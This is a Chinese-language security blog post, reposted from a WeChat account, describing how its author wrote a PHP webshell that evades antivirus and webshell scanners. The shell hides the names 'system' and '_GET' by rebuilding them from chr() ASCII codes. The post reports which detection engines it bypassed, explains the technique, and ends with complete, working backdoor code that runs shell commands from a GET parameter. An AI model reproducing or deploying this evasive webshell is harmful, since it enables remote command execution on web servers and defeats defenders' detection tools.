PHP_webshell免杀01-变量绕过

admin 2025年1月2日11:49:09评论12 views字数 1700阅读5分40秒阅读模式

0x00 前言

有点小激动,现在是1月2号快凌晨一点多,就在刚刚我写下了我人生当中第一个免杀webshell(不过我这里先提前声明一下,这种方式经过我本人测试是可以绕过大部分webshell检测引擎的,百分百免杀还是做不到),激动之余我写下这篇文章和大家分享下经验。

思路是我昨天回老家时在车上突发奇想出来的,当天晚上回到家后我就进行了实践,没想到效果极佳,不过可能早就有师傅写过相关文章介绍过这种方法,但我还是想和大家分享一下,具体看下文。

0x01 正文

先给大家看下效果:

PHP_webshell免杀01-变量绕过

微步:

PHP_webshell免杀01-变量绕过
PHP_webshell免杀01-变量绕过

火绒:

PHP_webshell免杀01-变量绕过

河马WebShell查杀:

PHP_webshell免杀01-变量绕过

魔盾云沙箱:

PHP_webshell免杀01-变量绕过

安恒云沙箱:

PHP_webshell免杀01-变量绕过

以下是绕过失败的,D盾:

PHP_webshell免杀01-变量绕过

长亭百川WebShell查杀引擎:

PHP_webshell免杀01-变量绕过

阿里伏魔引擎:

PHP_webshell免杀01-变量绕过

直接上代码:

PHP_webshell免杀01-变量绕过

应该有朋友已经看出来我这段代码的意图了,简单来说就是我将敏感函数/变量的名称上的每个字符都提前先转成了ascii码值,然后将这些ascii码值拿到我这段webshell里转成字符再进行拼接调用,这就是我这段webshell免杀具体实现方式。

接下来我详细讲一下每段代码都干了什么,第一个要讲的就是chr函数:

PHP_webshell免杀01-变量绕过

说的有点抽象,简单来说就是它可以将我们传进去的ascii码值转成相对应的字符,与它对应的函数是ord函数:

PHP_webshell免杀01-变量绕过

它可以将我们传进去的字符转成相对应的ascii码值,例如:

<?php$ch 'a';$value ord($ch);$str chr($value);echo'a的ascii码值:'.$value . PHP_EOL . "ascii码为$value 相对应的字符为:".$str;
PHP_webshell免杀01-变量绕过

接下来我重点讲一个php的知识点,那就是我们可以通过一个字符串去调用一个函数,例如:

<?phpfunctiona(){echo1;}$t chr(97);$t();
PHP_webshell免杀01-变量绕过

a的ascii码值为97,chr(97)返回的字符就是a,我将a字符放进了t变量里,然后再通过t变量去访问a函数,最后执行了a函数里的内容,这就是我这段免杀webshell的核心,如果php不支持这样做那么以上皆为空谈。我在webshell里是通过拼接成system进行调用的:

$a = $t . $e . $s . $tt . $ttt . $tttt;$b = $d123 . $sfd . $sdf . $dfgb;$a($$b[$a]);

$a通过拼接后就是system字符串,最后我进行了调用。

还有一个知识点我需要提一下,上文中我提到过我执行的函数是system,可能已经有读者注意到我调用system函数时传的是这么一个东西:

$a($$b['test']);

其实这个b变量就是_GET,代码中我也是通过ascii码值转字符然后进行字符串拼接得到的_GET,随后b变量返回这个值后这段代码就变成了:

$a($_GET['test']);

这样写是因为某马webshell查杀会检测到$_GET变量,所以我也对这个变量进行了同样的操作,也就是说我们可以通过这种方式去绕过杀软对$_GET的检测。

这段代码差不多已经讲完了,但我最后还需要提一个注意事项,这种方式不能对eval函数使用,例如:

PHP_webshell免杀01-变量绕过

报错:致命错误:未捕获错误:调用D:test.php第13行中的未定义函数eval()

不知道为什么会提示这样的报错,无奈之下我去问了gpt也是一无所获,如果有知道的朋友可以在本文下方留言,本人洗耳恭听。

0x02 Code

下面我将代码分享出来供各位学习研究:

<?php$sfd chr(71);$sdf chr(69);$dfgb chr(84);$d123 chr(95);$t chr(115);$e chr(121);$s chr(115);$tt chr(116);$ttt chr(101);$tttt chr(109);$a $t $e $s $tt $ttt $tttt;$b $d123 $sfd $sdf $dfgb;$a($$b['test']);

原文始发于微信公众号(Spade sec):PHP_webshell免杀01-变量绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日11:49:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP_webshell免杀01-变量绕过https://cn-sec.com/archives/3583440.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息